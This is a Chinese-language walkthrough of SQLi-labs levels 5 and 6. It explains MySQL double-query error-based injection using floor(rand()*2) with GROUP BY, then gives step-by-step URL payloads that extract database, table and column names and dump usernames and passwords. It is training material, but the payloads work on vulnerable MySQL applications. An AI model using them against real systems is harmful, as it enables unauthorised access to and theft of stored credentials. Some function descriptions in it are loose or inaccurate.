知识点
双查询注入的知识点
原理:双注入查询需要联合着MYSQL的BUG报错来进行报错注入
BUG:当在一个聚合函数,比如count函数后面如果使用分组语句就会把查询的一部分一错误形式显示出来;
双查询在命令行中直观显示出来
select count(*),concat((select user()),(floor(rand() * 2))) as a from information_schema.tables group by a;
rand()函数 //随机函数
floor(a) //取整函数
count()函数 //汇总函数
group by //分组语句
1.rand()函数
我们会发现rand函数查询出来的数是小于1的随机小数
2.floor(a)
floor这个函数,如果大于1就取1,如果小于1就取0
我的理解是这样
3.count()函数 //连接函数
select concat((select database()));
4.group by //分组函数
就是分组查询
使用GROUP BY可以将数据分为不同的组,再使用分组函数
第五关
源码分析
这个源码和第一关的是一样的
1.判断注入点
?id=1’ and 1=2 --+ (报错)
?id=1’ and 1=1 --+ (回显正常)
存在’注入点
2.判断列数
?id=1' order by 3 --+
3.咱们再试试联合查询
不报错,但是也报不出什么内容
一、爆库名
由于获取的随机数不一样,所以有的时候可能不会报错,有的时候返回是0,有的时候返回的是1
?id=1' union select 1,count(*),concat_ws('~',database(),floor(rand()*2)) as a from information_schema.tables group by a --+
二、爆表名
?id=1' union select 1,count(*),concat_ws(':',(select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand()*2)) as a from information_schema.tables group by a --+
如果想查询第二个表就将limit改成limit1,1,以此类推
limit的第一个位是从零开始查询,表示位数
第二个位是表示从查询的个数
他的数据库表个数如下图
三、爆字段
/?id=1' union select 1,count(*),concat_ws(':',(select column_name from information_schema.columns where table_name="users" limit 10,1),floor(rand()*2)) as a from information_schema.columns group by a --+
第9列是username
第10列是password
四、爆数据
?id=1' union select 1,count(*),concat_ws('~',(select username from users limit 2,1),floor(rand(0)*2)) as a from users group by a --+
?id=1' union select 1,count(*),concat_ws('~',(select password from users limit 3,1),floor(rand(0)*2)) as a from users group by a --+
通过floor报错的方法来爆数据的本质是group by语句的报错。 group
by语句报错的原因是floor(random(0)*2)的不确定性,即可能为0也可能为1(group by
key的原理是循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则不在临时表中则更新临时表中的数据;
如果该key不存在于临时表中,则在临时表中插入key所在行的数据。group by
floor(random(0)*2)出错的原因是key是个随机数,检测临时表中key是否存在时计算了一下floor(random(0)*2)可能为0,如果此时临时表只有key为1的行不存在key为0的行,那么数据库要将该条记录插入临时表,由于是随机数,插时又要计算一下随机值,此时floor(random(0)*2)结果可能为1,就会导致插入时冲突而报错。即检测时和插入时两次计算了随机数的值。
第六关
源码分析
很明显和上边的关卡有一个类似的,然后第一个变量$id是双引号,下边的查询语句没有任何字符包裹,那么闭合字符就是双引号(“”)
一、判断注入点:
?id=1" --+
注释掉后面的发现不报错
所以闭合字符为双引号
在所有的sql注入的漏洞中,判断闭合字符和注释掉后面是关键,这就是找注入点
找到注入点之后
中间的payload是和第五关一样的
总结双查询注入
判断完注入点之后
1.先构造第一个查询语句
union select 1,2,3 --+
然后将第二个查询语句依次插入第一个联合查询
【1中不插入任何数据】
【2 中插入count(*)聚合函数】
【3中插入构造的报错注入的语句
concat_ws(‘分割字符’,(查询语句limit 0,1),floor(rand()*2))
concat_ws //是将内容输出到屏幕上